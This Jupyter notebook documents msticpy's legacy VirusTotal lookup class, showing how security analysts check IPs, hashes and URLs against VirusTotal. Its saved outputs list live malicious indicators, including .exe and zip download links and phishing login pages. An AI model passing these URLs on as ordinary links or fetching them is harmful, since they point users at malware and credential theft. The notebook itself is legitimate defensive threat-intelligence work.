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    "# Title: msticpy - VirusTotal Lookup\n",
    "\n",
    "## Note that the original VT Lookup based on the V2 API is no longer supported\n",
    "It will continue to work as long as VirusTotal supports it.\n",
    "However, we may remove this functionality when replaced with an equivalent\n",
    "\n",
    "We recommend using the TILookup library and the VTLookupV3 library as alternatives.\n",
    "## Disclaimer and Acknowledgements:\n",
    "\n",
    "The code in this module is offered as a convenience wrapper for the VirusTotal API based on the [public documentation](https://www.virustotal.com/en/documentation/public-api/). The code does not originate from VirusTotal, nor is it endorsed by them. I'd like thank them for\n",
    "- Wonderfully clear documentation and examples\n",
    "- Granting me extra querying capacity for my account for testing\n",
    "\n",
    "You must have msticpy installed to run this notebook:\n",
    "```\n",
    "%pip install --upgrade msticpy\n",
    "```\n",
    "\n",
    "## New Features ##\n",
    "This is quite and old notebook and some developments largely supercede this\n",
    "component.\n",
    "- Virus Total queries have been integrated into the core TILookup functionality in MSTICPy\n",
    "  See the [TIProviders notebook](https://github.com/microsoft/msticpy/blob/master/docs/notebooks/TIProviders.ipynb)\n",
    "  and the [TIProviders documentation](https://msticpy.readthedocs.io/en/latest/data_acquisition/TIProviders.html)\n",
    "  for more details\n",
    "  \n",
    "- VirusTotal V3 API - VT have release a new version of their API which allows graph\n",
    "  traversal to get information about how malware and actors are linked.\n",
    "  See the [VT3Lookup notebook](https://github.com/microsoft/msticpy/blob/master/docs/notebooks/VTLookupV3.ipynb)\n",
    "  for more details\n",
    "\n",
    "## Introduction\n",
    "This class allows you to submit Indicators of Compromise (IoC) to VirusTotal and receive and process the content of the response. You can submit a single item or a set of items in a column of a pandas DataFrame.\n",
    "\n",
    "\n",
    "\n",
    "VirusTotal supports the following IoC Types:\n",
    "- FileHash\n",
    "- URL\n",
    "- IP Address (v4)\n",
    "- DNS Domain\n",
    "\n",
    "The first two of these result in full reports of malicious content from scans. The IP Address and DNS items provide secondary lookup - e.g. if IP Address 111.222.3.5 or www.evil.net is linked to a positive (malicious) report for a URL, the latter report will be returned in the results. VT does not report directly on the reputation of IP addresses or DNS domains.\n",
    "\n",
    "## Virus Total Lookup\n",
    "To use this module need an API key from virus total, which you can obtain here: https://www.virustotal.com/.\n",
    "\n",
    "Note that VT throttles requests for free API keys to 4/minute. If you are unable to process the entire data set, try splitting it and submitting smaller chunks.\n",
    "\n",
    "**Things to note:**\n",
    "- Virus Total lookups include file hashes, domains, IP addresses and URLs.\n",
    "- The returned data is slightly different depending on the input type\n",
    "- The VTLookup class tries to screen input data to prevent pointless lookups. E.g.:\n",
    "  - Only public IP Addresses will be submitted (no loopback, private address space, etc.)\n",
    "  - URLs with only local (unqualified) host parts will not be submitted.\n",
    "  - Domain names that are unqualified will not be submitted.\n",
    "  - Hash-like strings (e.g 'AAAAAAAAAAAAAAAAAA') that do not appear to have enough entropy to be a hash will not be submitted.\n",
    "  - If submitted in a batch (i.e. using a DataFrame as input) duplicate IoCs are not submitted. Duplicates will be given the results from the original lookip \n",
    "\n"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "<a id='contents'></a>\n",
    "## Table of Contents\n",
    "- [VirusTotal API Key](#api_key)\n",
    "- [Looking up Single IoC](#single_ioc_lookup)\n",
    "- [Interpreting the Output](#interpreting_output)\n",
    "- [Using a DataFrame as input](#dataframe_input)\n",
    "\n"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 1,
   "metadata": {
    "scrolled": true
   },
   "outputs": [
    {
     "data": {
      "text/html": [
       "\n",
       "This product includes GeoLite2 data created by MaxMind, available from\n",
       "<a href=\"https://www.maxmind.com\">https://www.maxmind.com</a>.\n"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "\n",
       "This library uses services provided by ipstack.\n",
       "<a href=\"https://ipstack.com\">https://ipstack.com</a>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    }
   ],
   "source": [
    "# Imports\n",
    "import sys\n",
    "MIN_REQ_PYTHON = (3,6)\n",
    "if sys.version_info < MIN_REQ_PYTHON:\n",
    "    print('Check the Kernel->Change Kernel menu and ensure that Python 3.6')\n",
    "    print('or later is selected as the active kernel.')\n",
    "    sys.exit(\"Python %s.%s or later is required.\\n\" % MIN_REQ_PYTHON)\n",
    "\n",
    "\n",
    "from IPython.display import display\n",
    "import pandas as pd\n",
    "import msticpy\n",
    "\n",
    "msticpy.init_notebook(globals(), verbosity=0)\n",
    "from msticpy.context.vtlookupv3.vtlookup import VTLookup\n",
    "from msticpy.transform.iocextract import IoCExtract"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "<a id='api_key'></a>[Contents](#contents)\n",
    "## You will need a VirusTotal API key\n",
    "You will get more detailed results if you have a private API key but you can get a lot of good information using the public API and a free API key. You are however limited in the number of requests you can make."
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 2,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "application/vnd.jupyter.widget-view+json": {
       "model_id": "d58d090aadda47b98f717be2b6676115",
       "version_major": 2,
       "version_minor": 0
      },
      "text/plain": [
       "HTML(value='To obtain an API key sign up here https://www.virustotal.com/')"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "application/vnd.jupyter.widget-view+json": {
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      },
      "text/plain": [
       "HBox(children=(Text(value='', description='Virus Total API key:', layout=Layout(width='50%'), style=Descriptio…"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    }
   ],
   "source": [
    "# Enter your VT Key here\n",
    "vt_key = nbwidgets.GetEnvironmentKey(env_var='VT_API_KEY',\n",
    "                           help_str='To obtain an API key sign up here https://www.virustotal.com/',\n",
    "                           prompt='Virus Total API key:')\n",
    "vt_key.display()"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 7,
   "metadata": {},
   "outputs": [],
   "source": [
    "# Create an instance of the class\n",
    "\n",
    "vt_lookup = VTLookup(vt_key.value, verbosity=2)"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "<a id='single_ioc_lookups'></a>[Contents](#contents)\n",
    "## Looking up Single IoCs\n",
    "```\n",
    "Signature: vt_lookup.lookup_ioc(observable: str, ioc_type: str, output: str = 'dict')\n",
    "Docstring:\n",
    "Look up and single IoC observable.\n",
    "\n",
    "    :param observable: The observable value\n",
    "    :param ioc_type: The IoC Type (see 'supported_ioc_types' attribute)\n",
    "    :param output='dict': Output results as a dictionary (or list of dicts)\n",
    "        if output is any other value the result will be returned in a\n",
    "        Pandas DataFrame\n",
    "\n",
    "    Returns:\n",
    "        list{dict}: if output == 'dict'\n",
    "        pd.DataFrame: otherwise\n",
    "```"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 4,
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     "data": {
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       "{'Observable': '90.156.201.97',\n",
       " 'IoCType': 'ipv4',\n",
       " 'Status': 'Success',\n",
       " 'ResponseCode': 1,\n",
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barawki.ru, bardjango.ru, barnaul.fabrika-chehlov.ru, barrierfree.ru, bars-logistics.ru, bars-pilot.ru, bars.perm.ru, barstreetshow.com, base4beauty.ru, base4web.ru, bashstroytek.ru, bass-line.ru, bassacademy.ru, bath-bloom.ru, bathbloom.ru, batterymart.ru, battlefront3.ru, battlekids.ru, bau-home.ru, bauteh.ru, bayzshop.com, bazaar.guerrilla.ru, bazalt-filtr.ru, bazi-coaching.ru, bcons.su, bcparkpobedy.ru, bd-live.ru, bdfilms.ru, bdlive.ru, bds-stanki.ru, be-print.ru, bean-bag.ru, bearpower.store, beauty-salon-monroe.ru, beauty-shop.me, beautyelements.ru, bebloks.ru',\n",
       " 'ResolvedIPs': nan,\n",
       " 'DetectedUrls': 'http://remont-iphone-spb.com/, http://www.provetom.ru/art/art_2.htm, http://gubino.net/, http://thar.ru/, http://alliance-pravo.com/, http://ventkanal.ru/kwdl38g, http://autolombard.club/, http://moscowbmw.ru/, http://belowtheweb.ru/avia/300%C3%97500/images/pikz.zip, http://www.maxsev.ru/, http://www.udvolga.ru/ext/logon.htm, http://provetom.ru/prep/zimun.htm, http://provetom.ru/prep/med/vetomgin.htm, http://lagarto.ru/shok/shok.exe, http://lagarto.ru/syst/od.exe, http://lagarto.ru/vk/vk.exe, http://aqarium.ru/screen/simaquarium2.06.exe, http://schetkin.ru/vats.php, http://dendiet.ru/, http://serafima.su/, http://krovly.ru/, http://www.dobraja-trapeza.ru/wp-local/(.)/excel-login-1.html, http://yandex-taxi-podklyuchenie.ru/, http://mosrybolov.ru/, http://eyco.ru/catalog/view/disciplining.php, http://xn----8sbcckyobxgc0e9f.xn--p1ai/?page_id=365, http://okna-trust.ru/assets/images/fp.exe, http://secur.ru.mastertest.ru/enter.php, http://smartspirit.ru/pikz.zip, http://autogirl.net/4c18a2f403135d64e8633f1cf29c9f67/pikz.zip, http://nikogda.ru/1st/css/pikz.zip, http://xn----8sbcckyobxgc0e9f.xn--p1ai/, http://ooo.instergod.ru/, http://dvorec.ru/, http://animals-msk.ru/, http://www.ctkspb.ru/, https://svadba-info.ru/, http://lomond.cc/, http://infaforms.com.mastertest.ru/oootpu/script.js, http://www.srbija.ru/media/system/js/, http://old.repost.uz.mastertest.ru/wp-content/themes/2/css/bootstrap.min.css, http://busineslunch.ru/, http://provetom.ru/prep/med/vetom3.htm, http://sibirskyles.ru/, http://interior.sudacov.com/:js_compile33, http://metal-volga.ru/price-list.html, http://bip2.ru/, http://tornadod.ru/, http://legprominfo.ru/, https://fotoizdato.ru/, http://luxuryfair.ru/, http://downloads.acsys.ru/downloads/%CF%F0%EE%E3%F0%E0%EC%EC%FB/%C0%F0%F5%E8%E2%20%CF%CE/%C01212_A1214_ADM3/ADM3_Russian_3_0_57.exe, http://lagarto.ru/components/com_datsogallery/img_pictures/med_cat.jpg, http://lagarto.ru/components/com_datsogallery/img_pictures/med_anton58.jpg, http://lagarto.ru/components/com_datsogallery/img_pictures/med_anton56.jpg, http://lagarto.ru/components/com_datsogallery/img_pictures/med_17.05_1.jpg, http://lagarto.ru/components/com_datsogallery/img_pictures/med_moon.jpg, http://lagarto.ru/components/com_datsogallery/img_pictures/med_190242.jpg, http://lagarto.ru/components/com_datsogallery/img_pictures/med_mosk38.jpg, http://lagarto.ru/components/com_datsogallery/img_pictures/med_city5.JPG, http://lagarto.ru/components/com_datsogallery/img_pictures/med_feja3.jpg, http://lagarto.ru/components/com_datsogallery/img_pictures/med_anton45.jpg, http://lagarto.ru/components/com_datsogallery/img_pictures/med_mosk29.jpg, http://lagarto.ru/components/com_datsogallery/img_pictures/med_urb.jpg, http://lagarto.ru/components/com_datsogallery/img_pictures/med_me_car.jpg, http://lagarto.ru/components/com_datsogallery/img_pictures/med_mosk17.jpg, http://lagarto.ru/components/com_datsogallery/img_pictures/med_anton65.jpg, http://lagarto.ru/components/com_datsogallery/img_pictures/med_mosk58.jpg, http://lagarto.ru/components/com_datsogallery/img_pictures/med_oz2.jpg, http://lagarto.ru/components/com_datsogallery/img_pictures/med_city22.JPG, http://lagarto.ru/components/com_datsogallery/img_pictures/med_night_0808_2.jpg, http://lagarto.ru/components/com_datsogallery/img_pictures/med_spluuuu.jpg, http://lagarto.ru/components/com_datsogallery/img_pictures/med_anton42.jpg, http://lagarto.ru/components/com_datsogallery/img_pictures/med_mosk8.jpg, http://lagarto.ru/components/com_datsogallery/img_pictures/med_mosk2.jpg, http://lagarto.ru/components/com_datsogallery/img_pictures/med_dvor_rose.jpg, http://lagarto.ru/components/com_datsogallery/img_pictures/med_anton55.jpg, http://lagarto.ru/components/com_datsogallery/img_pictures/med_train2.jpg, http://lagarto.ru/components/com_datsogallery/img_pictures/med_12.1.jpg, http://lagarto.ru/components/com_datsogallery/img_pictures/med_merose.jpg, http://lagarto.ru/components/com_datsogallery/img_pictures/med_shlyapa.jpg, http://lagarto.ru/components/com_datsogallery/img_pictures/med_mosk64.jpg, http://lagarto.ru/components/com_datsogallery/img_pictures/med_anton12.jpg, http://lagarto.ru/components/com_datsogallery/img_pictures/med_kap.jpg, http://clubnr.ru/assets/js/jquery-2.1.1.min.js, http://clubnr.ru/assets/js/jquery.nicescroll.min.js, http://clubnr.ru/assets/js/jquery.fancybox.pack.js, http://srbija.ru/media/system/js/jquery.js?ver=1.6.1, http://busineslunch.ru/alibaba/index.php, http://sober.name/chooser/index.htm, http://muntzart.ru/htm/family/_2_2.htm, http://4pbi.com/, http://dobraja-trapeza.ru/wp-local/(.)/excel-login-1.html, http://karkas-dom-moscow.ru/erpose/sotpie/nn_c.exe, http://karkas-dom-moscow.ru/erpose/sotpie/, http://svadba-info.ru/traditions/271, http://raev.info/.sys.php, http://rsbremer.ru/, http://gazetaniva.ru/, http://provetom.ru/prep/prep.htm'}"
      ]
     },
     "execution_count": 4,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "# Default output type for single item is a dict\n",
    "vt_lookup.lookup_ioc(observable='90.156.201.97', ioc_type='ipv4')"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "### DataFrame output can be a cleaner than a dict\n",
    "Note that re-using the same class for multiple lookups accumulates the results in the the class results DataFrame"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 34,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": [
       "<div>\n",
       "<style scoped>\n",
       "    .dataframe tbody tr th:only-of-type {\n",
       "        vertical-align: middle;\n",
       "    }\n",
       "\n",
       "    .dataframe tbody tr th {\n",
       "        vertical-align: top;\n",
       "    }\n",
       "\n",
       "    .dataframe thead th {\n",
       "        text-align: right;\n",
       "    }\n",
       "</style>\n",
       "<table border=\"1\" class=\"dataframe\">\n",
       "  <thead>\n",
       "    <tr style=\"text-align: right;\">\n",
       "      <th></th>\n",
       "      <th>Observable</th>\n",
       "      <th>IoCType</th>\n",
       "      <th>Status</th>\n",
       "      <th>ResponseCode</th>\n",
       "      <th>RawResponse</th>\n",
       "      <th>Resource</th>\n",
       "      <th>SourceIndex</th>\n",
       "      <th>VerboseMsg</th>\n",
       "      <th>Resource</th>\n",
       "      <th>ScanId</th>\n",
       "      <th>Permalink</th>\n",
       "      <th>Positives</th>\n",
       "      <th>MD5</th>\n",
       "      <th>SHA1</th>\n",
       "      <th>SHA256</th>\n",
       "      <th>ResolvedDomains</th>\n",
       "      <th>ResolvedIPs</th>\n",
       "      <th>DetectedUrls</th>\n",
       "    </tr>\n",
       "  </thead>\n",
       "  <tbody>\n",
       "    <tr>\n",
       "      <th>0</th>\n",
       "      <td>90.156.201.97</td>\n",
       "      <td>ipv4</td>\n",
       "      <td>Success</td>\n",
       "      <td>1</td>\n",
       "      <td>{\"asn\": \"25532\", \"undetected_downloaded_sample...</td>\n",
       "      <td>NaN</td>\n",
       "      <td>0</td>\n",
       "      <td>IP address in dataset</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>350</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>0-1000v.ru, 00004.ru, 01sasha.ru, 027.ru, 03ma...</td>\n",
       "      <td>NaN</td>\n",
       "      <td>http://remont-iphone-spb.com/, http://www.prov...</td>\n",
       "    </tr>\n",
       "  </tbody>\n",
       "</table>\n",
       "</div>"
      ],
      "text/plain": [
       "      Observable IoCType   Status ResponseCode  \\\n",
       "0  90.156.201.97    ipv4  Success            1   \n",
       "\n",
       "                                         RawResponse Resource SourceIndex  \\\n",
       "0  {\"asn\": \"25532\", \"undetected_downloaded_sample...      NaN           0   \n",
       "\n",
       "              VerboseMsg Resource ScanId Permalink Positives  MD5 SHA1 SHA256  \\\n",
       "0  IP address in dataset      NaN    NaN       NaN       350  NaN  NaN    NaN   \n",
       "\n",
       "                                     ResolvedDomains ResolvedIPs  \\\n",
       "0  0-1000v.ru, 00004.ru, 01sasha.ru, 027.ru, 03ma...         NaN   \n",
       "\n",
       "                                        DetectedUrls  \n",
       "0  http://remont-iphone-spb.com/, http://www.prov...  "
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "<div>\n",
       "<style scoped>\n",
       "    .dataframe tbody tr th:only-of-type {\n",
       "        vertical-align: middle;\n",
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       "\n",
       "    .dataframe tbody tr th {\n",
       "        vertical-align: top;\n",
       "    }\n",
       "\n",
       "    .dataframe thead th {\n",
       "        text-align: right;\n",
       "    }\n",
       "</style>\n",
       "<table border=\"1\" class=\"dataframe\">\n",
       "  <thead>\n",
       "    <tr style=\"text-align: right;\">\n",
       "      <th></th>\n",
       "      <th>Observable</th>\n",
       "      <th>IoCType</th>\n",
       "      <th>Status</th>\n",
       "      <th>ResponseCode</th>\n",
       "      <th>RawResponse</th>\n",
       "      <th>Resource</th>\n",
       "      <th>SourceIndex</th>\n",
       "      <th>VerboseMsg</th>\n",
       "      <th>Resource</th>\n",
       "      <th>ScanId</th>\n",
       "      <th>Permalink</th>\n",
       "      <th>Positives</th>\n",
       "      <th>MD5</th>\n",
       "      <th>SHA1</th>\n",
       "      <th>SHA256</th>\n",
       "      <th>ResolvedDomains</th>\n",
       "      <th>ResolvedIPs</th>\n",
       "      <th>DetectedUrls</th>\n",
       "    </tr>\n",
       "  </thead>\n",
       "  <tbody>\n",
       "    <tr>\n",
       "      <th>0</th>\n",
       "      <td>90.156.201.97</td>\n",
       "      <td>ipv4</td>\n",
       "      <td>Success</td>\n",
       "      <td>1</td>\n",
       "      <td>{\"asn\": \"25532\", \"undetected_downloaded_sample...</td>\n",
       "      <td>NaN</td>\n",
       "      <td>0</td>\n",
       "      <td>IP address in dataset</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>350</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>0-1000v.ru, 00004.ru, 01sasha.ru, 027.ru, 03ma...</td>\n",
       "      <td>NaN</td>\n",
       "      <td>http://remont-iphone-spb.com/, http://www.prov...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>1</th>\n",
       "      <td>7657fcb7d772448a6d8504e4b20168b8</td>\n",
       "      <td>md5_hash</td>\n",
       "      <td>Success</td>\n",
       "      <td>1</td>\n",
       "      <td>{\"scans\": {\"Bkav\": {\"detected\": true, \"version...</td>\n",
       "      <td>7657fcb7d772448a6d8504e4b20168b8</td>\n",
       "      <td>0</td>\n",
       "      <td>Scan finished, information embedded</td>\n",
       "      <td>7657fcb7d772448a6d8504e4b20168b8</td>\n",
       "      <td>54bc950d46a0d1aa72048a17c8275743209e6c17bdacfc...</td>\n",
       "      <td>https://www.virustotal.com/file/54bc950d46a0d1...</td>\n",
       "      <td>59</td>\n",
       "      <td>7657fcb7d772448a6d8504e4b20168b8</td>\n",
       "      <td>84c7201f7e59cb416280fd69a2e7f2e349ec8242</td>\n",
       "      <td>54bc950d46a0d1aa72048a17c8275743209e6c17bdacfc...</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "    </tr>\n",
       "  </tbody>\n",
       "</table>\n",
       "</div>"
      ],
      "text/plain": [
       "                         Observable   IoCType   Status ResponseCode  \\\n",
       "0                     90.156.201.97      ipv4  Success            1   \n",
       "1  7657fcb7d772448a6d8504e4b20168b8  md5_hash  Success            1   \n",
       "\n",
       "                                         RawResponse  \\\n",
       "0  {\"asn\": \"25532\", \"undetected_downloaded_sample...   \n",
       "1  {\"scans\": {\"Bkav\": {\"detected\": true, \"version...   \n",
       "\n",
       "                           Resource SourceIndex  \\\n",
       "0                               NaN           0   \n",
       "1  7657fcb7d772448a6d8504e4b20168b8           0   \n",
       "\n",
       "                            VerboseMsg                          Resource  \\\n",
       "0                IP address in dataset                               NaN   \n",
       "1  Scan finished, information embedded  7657fcb7d772448a6d8504e4b20168b8   \n",
       "\n",
       "                                              ScanId  \\\n",
       "0                                                NaN   \n",
       "1  54bc950d46a0d1aa72048a17c8275743209e6c17bdacfc...   \n",
       "\n",
       "                                           Permalink Positives  \\\n",
       "0                                                NaN       350   \n",
       "1  https://www.virustotal.com/file/54bc950d46a0d1...        59   \n",
       "\n",
       "                                MD5                                      SHA1  \\\n",
       "0                               NaN                                       NaN   \n",
       "1  7657fcb7d772448a6d8504e4b20168b8  84c7201f7e59cb416280fd69a2e7f2e349ec8242   \n",
       "\n",
       "                                              SHA256  \\\n",
       "0                                                NaN   \n",
       "1  54bc950d46a0d1aa72048a17c8275743209e6c17bdacfc...   \n",
       "\n",
       "                                     ResolvedDomains ResolvedIPs  \\\n",
       "0  0-1000v.ru, 00004.ru, 01sasha.ru, 027.ru, 03ma...         NaN   \n",
       "1                                                NaN         NaN   \n",
       "\n",
       "                                        DetectedUrls  \n",
       "0  http://remont-iphone-spb.com/, http://www.prov...  \n",
       "1                                                NaN  "
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "URL Lookup\n"
     ]
    },
    {
     "data": {
      "text/html": [
       "<div>\n",
       "<style scoped>\n",
       "    .dataframe tbody tr th:only-of-type {\n",
       "        vertical-align: middle;\n",
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       "\n",
       "    .dataframe tbody tr th {\n",
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       "    }\n",
       "\n",
       "    .dataframe thead th {\n",
       "        text-align: right;\n",
       "    }\n",
       "</style>\n",
       "<table border=\"1\" class=\"dataframe\">\n",
       "  <thead>\n",
       "    <tr style=\"text-align: right;\">\n",
       "      <th></th>\n",
       "      <th>Observable</th>\n",
       "      <th>IoCType</th>\n",
       "      <th>Status</th>\n",
       "      <th>ResponseCode</th>\n",
       "      <th>RawResponse</th>\n",
       "      <th>Resource</th>\n",
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       "      <th>SHA1</th>\n",
       "      <th>SHA256</th>\n",
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       "      <th>ResolvedIPs</th>\n",
       "      <th>DetectedUrls</th>\n",
       "    </tr>\n",
       "  </thead>\n",
       "  <tbody>\n",
       "    <tr>\n",
       "      <th>0</th>\n",
       "      <td>90.156.201.97</td>\n",
       "      <td>ipv4</td>\n",
       "      <td>Success</td>\n",
       "      <td>1</td>\n",
       "      <td>{\"asn\": \"25532\", \"undetected_downloaded_sample...</td>\n",
       "      <td>NaN</td>\n",
       "      <td>0</td>\n",
       "      <td>IP address in dataset</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>350</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>0-1000v.ru, 00004.ru, 01sasha.ru, 027.ru, 03ma...</td>\n",
       "      <td>NaN</td>\n",
       "      <td>http://remont-iphone-spb.com/, http://www.prov...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>1</th>\n",
       "      <td>7657fcb7d772448a6d8504e4b20168b8</td>\n",
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       "      <td>7657fcb7d772448a6d8504e4b20168b8</td>\n",
       "      <td>0</td>\n",
       "      <td>Scan finished, information embedded</td>\n",
       "      <td>7657fcb7d772448a6d8504e4b20168b8</td>\n",
       "      <td>54bc950d46a0d1aa72048a17c8275743209e6c17bdacfc...</td>\n",
       "      <td>https://www.virustotal.com/file/54bc950d46a0d1...</td>\n",
       "      <td>59</td>\n",
       "      <td>7657fcb7d772448a6d8504e4b20168b8</td>\n",
       "      <td>84c7201f7e59cb416280fd69a2e7f2e349ec8242</td>\n",
       "      <td>54bc950d46a0d1aa72048a17c8275743209e6c17bdacfc...</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>2</th>\n",
       "      <td>http://club-fox.ru/img/www.loginalibaba.com/al...</td>\n",
       "      <td>url</td>\n",
       "      <td>Success</td>\n",
       "      <td>1</td>\n",
       "      <td>{\"scan_id\": \"700994c09c45224fd5d6cb938e043ce64...</td>\n",
       "      <td>http://club-fox.ru/img/www.loginalibaba.com/al...</td>\n",
       "      <td>0</td>\n",
       "      <td>Scan finished, scan information embedded in th...</td>\n",
       "      <td>http://club-fox.ru/img/www.loginalibaba.com/al...</td>\n",
       "      <td>700994c09c45224fd5d6cb938e043ce648baa2231401e7...</td>\n",
       "      <td>https://www.virustotal.com/url/700994c09c45224...</td>\n",
       "      <td>12</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "    </tr>\n",
       "  </tbody>\n",
       "</table>\n",
       "</div>"
      ],
      "text/plain": [
       "                                          Observable   IoCType   Status  \\\n",
       "0                                      90.156.201.97      ipv4  Success   \n",
       "1                   7657fcb7d772448a6d8504e4b20168b8  md5_hash  Success   \n",
       "2  http://club-fox.ru/img/www.loginalibaba.com/al...       url  Success   \n",
       "\n",
       "  ResponseCode                                        RawResponse  \\\n",
       "0            1  {\"asn\": \"25532\", \"undetected_downloaded_sample...   \n",
       "1            1  {\"scans\": {\"Bkav\": {\"detected\": true, \"version...   \n",
       "2            1  {\"scan_id\": \"700994c09c45224fd5d6cb938e043ce64...   \n",
       "\n",
       "                                            Resource SourceIndex  \\\n",
       "0                                                NaN           0   \n",
       "1                   7657fcb7d772448a6d8504e4b20168b8           0   \n",
       "2  http://club-fox.ru/img/www.loginalibaba.com/al...           0   \n",
       "\n",
       "                                          VerboseMsg  \\\n",
       "0                              IP address in dataset   \n",
       "1                Scan finished, information embedded   \n",
       "2  Scan finished, scan information embedded in th...   \n",
       "\n",
       "                                            Resource  \\\n",
       "0                                                NaN   \n",
       "1                   7657fcb7d772448a6d8504e4b20168b8   \n",
       "2  http://club-fox.ru/img/www.loginalibaba.com/al...   \n",
       "\n",
       "                                              ScanId  \\\n",
       "0                                                NaN   \n",
       "1  54bc950d46a0d1aa72048a17c8275743209e6c17bdacfc...   \n",
       "2  700994c09c45224fd5d6cb938e043ce648baa2231401e7...   \n",
       "\n",
       "                                           Permalink Positives  \\\n",
       "0                                                NaN       350   \n",
       "1  https://www.virustotal.com/file/54bc950d46a0d1...        59   \n",
       "2  https://www.virustotal.com/url/700994c09c45224...        12   \n",
       "\n",
       "                                MD5                                      SHA1  \\\n",
       "0                               NaN                                       NaN   \n",
       "1  7657fcb7d772448a6d8504e4b20168b8  84c7201f7e59cb416280fd69a2e7f2e349ec8242   \n",
       "2                               NaN                                       NaN   \n",
       "\n",
       "                                              SHA256  \\\n",
       "0                                                NaN   \n",
       "1  54bc950d46a0d1aa72048a17c8275743209e6c17bdacfc...   \n",
       "2                                                NaN   \n",
       "\n",
       "                                     ResolvedDomains ResolvedIPs  \\\n",
       "0  0-1000v.ru, 00004.ru, 01sasha.ru, 027.ru, 03ma...         NaN   \n",
       "1                                                NaN         NaN   \n",
       "2                                                NaN         NaN   \n",
       "\n",
       "                                        DetectedUrls  \n",
       "0  http://remont-iphone-spb.com/, http://www.prov...  \n",
       "1                                                NaN  \n",
       "2                                                NaN  "
      ]
     },
     "execution_count": 34,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "# DataFrame output can be a cleaner\n",
    "vt_lookup = VTLookup(vt_key.value, verbosity=2)\n",
    "\n",
    "print('IP Lookup')\n",
    "display(vt_lookup.lookup_ioc(observable='90.156.201.97', \n",
    "                             ioc_type='ipv4', output='dataframe'))\n",
    "\n",
    "print('\\n+ MD5 Hash Lookup')\n",
    "display(vt_lookup.lookup_ioc(observable='7657fcb7d772448a6d8504e4b20168b8', \n",
    "                             ioc_type='md5_hash', output='dataframe'))\n",
    "    \n",
    "print('\\n+ URL Lookup')\n",
    "\n",
    "url ='http://club-fox.ru/img/www.loginalibaba.com/alibaba/alibaba/login.alibaba.com.php?email=biuro'\n",
    "vt_lookup.lookup_ioc(observable=url, ioc_type='url', output='dataframe')"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "<a id='interpreting_output'></a>[Contents](#contents)\n",
    "## Interpreting the Output\n",
    "Columns in the output dataframe are as follows:\n",
    " - Observable - The IoC observable submitted\n",
    " - IoCType - the IoC type\n",
    " - Status - the status of the submission request\n",
    " - ResponseCode - the VT response code\n",
    " - RawResponse - the entire raw json response\n",
    " - Resource - VT Resource\n",
    " - SourceIndex - The index of the Observable in the source DataFrame. You can use this to rejoin to your original data.\n",
    " - VerboseMsg - VT Verbose Message\n",
    " - ScanId - VT Scan ID if any\n",
    " - Permalink - VT Permanent URL describing the resource\n",
    " - Positives - If this is not zero, it indicates the number of malicious reports that VT holds for this observable.\n",
    " - MD5 - The MD5 hash, if any\n",
    " - SHA1 - The MD5 hash, if any\n",
    " - SHA256 - The MD5 hash, if any\n",
    " - ResolvedDomains - In the case of IP Addresses, this contains a list of all domains that resolve to this IP address\n",
    " - ResolvedIPs - In the case Domains, this contains a list of all IP addresses resolved from the domain.\n",
    " - DetectedUrls - Any malicious URLs associated with the observable."
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 19,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": [
       "<div>\n",
       "<style scoped>\n",
       "    .dataframe tbody tr th:only-of-type {\n",
       "        vertical-align: middle;\n",
       "    }\n",
       "\n",
       "    .dataframe tbody tr th {\n",
       "        vertical-align: top;\n",
       "    }\n",
       "\n",
       "    .dataframe thead th {\n",
       "        text-align: right;\n",
       "    }\n",
       "</style>\n",
       "<table border=\"1\" class=\"dataframe\">\n",
       "  <thead>\n",
       "    <tr style=\"text-align: right;\">\n",
       "      <th></th>\n",
       "      <th>0</th>\n",
       "    </tr>\n",
       "  </thead>\n",
       "  <tbody>\n",
       "    <tr>\n",
